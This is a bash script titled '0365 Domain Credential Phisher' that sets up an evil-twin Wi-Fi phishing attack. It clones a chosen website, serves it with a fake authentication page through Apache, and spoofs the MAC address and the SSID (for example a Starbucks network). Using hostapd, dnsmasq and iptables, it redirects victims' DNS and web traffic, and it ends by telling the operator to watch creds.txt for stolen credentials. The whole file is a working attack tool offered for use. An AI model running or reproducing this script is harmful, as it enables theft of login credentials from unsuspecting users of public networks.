0365_Captive.sh 4.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136
  1. #!/bin/bash/
  2. # Color variables
  3. red='\033[0;31m'
  4. green='\033[0;32m'
  5. yellow='\033[0;33m'
  6. blue='\033[0;34m'
  7. magenta='\033[0;35m'
  8. cyan='\033[0;36m'
  9. # Clear the color after that
  10. clear='\033[0m'
  11. cat << "EOF"
  12. ___ ____ __ _____ _____ _
  13. / _ \___ \ / /| ____| | __ \ (_)
  14. | | | |__) |/ /_| |__ | | | | ___ _ __ ___ __ _ _ _ __
  15. | | | |__ <| '_ \___ \ | | | |/ _ \| '_ ` _ \ / _` | | '_ \
  16. | |_| |__) | (_) |__) | | |__| | (_) | | | | | | (_| | | | | |
  17. \___/____/ \___/____/ |_____/ \___/|_| |_| |_|\__,_|_|_| |_|
  18. _____ _ _ _ _ _____ _ _ _
  19. / ____| | | | | (_) | | | __ \| | (_) | |
  20. | | _ __ ___ __| | ___ _ __ | |_ _ __ _| | | |__) | |__ _ ___| |__ ___ _ __
  21. | | | '__/ _ \/ _` |/ _ \ '_ \| __| |/ _` | | | ___/| '_ \| / __| '_ \ / _ \ '__|
  22. | |____| | | __/ (_| | __/ | | | |_| | (_| | | | | | | | | \__ \ | | | __/ |
  23. \_____|_| \___|\__,_|\___|_| |_|\__|_|\__,_|_| |_| |_| |_|_|___/_| |_|\___|_|
  24. EOF
  25. echo ""
  26. echo -e ${green}"Which interface do you want to use as your AP NIC? Example: wlan1"${clear}
  27. echo ""
  28. read AP
  29. sleep 1
  30. echo ""
  31. echo -e ${yellow}"Using $AP as your AP interface"${clear}
  32. echo ""
  33. echo -e ${green}"What is the Wifi network you want to spoof? Example: Starbucks Corporate Wifi"${clear}
  34. echo ""
  35. read SSID
  36. sleep 1
  37. echo ""
  38. echo -e ${yellow}"Using $SSID as your spoofed network"${clear}
  39. sleep 1
  40. echo ""
  41. echo -e ${green}"What is the domain you want to spoof on your network? Example: starbucks.com"${clear}
  42. echo ""
  43. read domain
  44. sleep 1
  45. echo ""
  46. echo -e ${yellow}"Using $domain as your spoofed domain"${clear}
  47. sleep 1
  48. echo ""
  49. echo -e ${green}"Enter Website URL To Clone. Example: https://www.starbucks.com"${clear}
  50. echo ""
  51. read URL
  52. echo ""
  53. echo -e ${yellow}"Cloning $URL"${clear}
  54. echo ""
  55. systemctl stop dnsmasq
  56. /usr/bin/chromium-browser --no-sandbox 2>/dev/null
  57. runuser -u pi -- ./SingleFile/cli/single-file $URL --browser-executable-path=/usr/bin/chromium-browser /home/pi/index.html
  58. echo -e ${yellow}"Cloning finished"${clear}
  59. echo ""
  60. sleep 1
  61. echo -e ${blue"$URL Cloned Successfully"${clear}
  62. sleep 2
  63. #Copying Resources To Local Directory
  64. cp Resources/hosts . 2>/dev/null
  65. #cp Resources/dnsmasq.conf . 2>/dev/null
  66. cp Resources/hostapd.conf . 2>/dev/null
  67. cp Resources/index.html . 2>/dev/null
  68. cp Resources/authenticate.html . 2>/dev/null
  69. cp Resources/post.php . 2>/dev/null
  70. #Replacing Variables In Files
  71. sed -i "s/domain/${domain}/g" post.php
  72. sed -i "s/domain/${domain}/g" index.html
  73. #sed -i "s/domain/${domain}/g" dnsmasq.conf
  74. sed -i "s/AP/${AP}/g" hostapd.conf
  75. sed -i "s/SSID/${SSID}/g" hostapd.conf
  76. sed -i "s/domain/${domain}/g" authenticate.html
  77. sed -i "s/domain/${domain}/g" hosts
  78. #Replaceing Resources
  79. rm /etc/hostapd/hostapd.conf 2>/dev/null
  80. mv hostapd.conf /etc/hostapd/hostapd.conf
  81. mv index.html /var/www/html/redirect/
  82. mv authenticate.html /var/www/html/
  83. mv post.php /var/www/html/
  84. mv hosts /etc/hosts
  85. echo ""
  86. sleep 1
  87. echo -e ${green}"Moving Your Index.html File Into Apache"${clear}
  88. echo ""
  89. mv /home/pi/index.html /var/www/html/index.html
  90. echo -e ${green}"Starting Apache"${clear}
  91. service apache2 start
  92. sleep 1
  93. echo ""
  94. echo -e ${green}"Changing $AP MAC Address"${clear}
  95. echo ""
  96. ifconfig $AP down
  97. macchanger -A $AP
  98. sleep 1
  99. ifconfig $AP up
  100. sleep 1
  101. echo ""
  102. echo -e ${green}"Configuring $AP Into An Access Point"${clear}
  103. echo ""
  104. hostapd -B /etc/hostapd/hostapd.conf
  105. sleep 2
  106. echo ""
  107. echo -e ${green}"Bringing Up The Bridge"${clear}
  108. echo ""
  109. ifconfig br0 up
  110. sleep 2
  111. ifconfig br0 10.1.1.1 netmask 255.255.255.0
  112. sysctl net.ipv4.ip_forward=1
  113. echo ""
  114. echo -e ${green}"Copying Redirect Into Cloned Page"${clear}
  115. echo ""
  116. echo "<meta http-equiv="refresh" content=2;URL='http://${domain}/authenticate.html'>">> /var/www/html/index.html
  117. echo -e ${green}"Setting IPTables"${clear}
  118. iptables --flush
  119. iptables -t nat --flush
  120. iptables -t nat -A PREROUTING -i br0 -p udp -m udp --dport 53 -j DNAT --to-destination 10.1.1.1:53
  121. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 10.1.1.1:80
  122. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 443 -j DNAT --to-destination 10.1.1.1:443
  123. iptables -t nat -A POSTROUTING -j MASQUERADE
  124. sleep 2
  125. echo ""
  126. echo -e ${green}"Starting Rouge DNS"${clear}
  127. systemctl start dnsmasq
  128. sleep 4
  129. echo ""
  130. echo -e ${red}"Access Point Should Be Up. Watch /var/www/html/creds.txt For Creds"${clear}
  131. echo ""